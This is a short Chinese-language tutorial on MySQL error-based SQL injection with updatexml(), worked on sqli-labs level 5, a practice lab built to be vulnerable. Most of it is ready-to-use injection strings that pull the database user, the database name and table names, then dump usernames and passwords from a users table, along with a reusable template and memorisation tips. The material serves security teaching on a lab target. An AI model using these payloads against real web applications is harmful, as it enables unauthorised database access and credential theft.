基本格式: ?id=1 and updatexml(1,(payload),1) 举例: ?id=1 and updatexml(1, (concat(0x7e,(select @@version),0x7e)),1)
在这里我们以sql-labs第五关进行操作: payload:
1 2 3 4 5
1.?id=1' union select updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ 2.?id=1'unionselect updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ 3.?id=1' union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1) --+ 4.?id=1'unionselect updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+ 5.?id=1' union select updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+
可以看到是没有显示位的,因此不能进行联合查询注入-我们选择报错注入
判断注入点 当and 1=1 or and 1=2 时都显示不变 因此输入:?id=1 '判断 确定注入类型为字符型注入
回显
1
?id=1' union select updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
爆数据库
1
?id=1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
爆表名
1 2
?id=1' union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema ='security' limit 0,1),0x7e),1) --+
爆用户名
1
?id=1' union select updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+
爆密码
1
?id=1' union select updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+
二、updatexml报错记忆
操作一遍大家可以发现其实语法并不难,很便于记住:
1
?id=1' union select updatexml(1,concat(0x7e,(select /*payload*/),0x7e),1) --+
在回显中以及爆数据库这两步只需要改变/payload/即可
爆表名虽然有一丢多:?id=1 ' union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema ='security' limit 0,1),0x7e),1) --+
那么爆用户名以及密码基本不需要怎么改变:
1
?id=1' union select updatexml(1,concat(0x7e,(select group_concat(/*payload*/) from users),0x7e),1) --+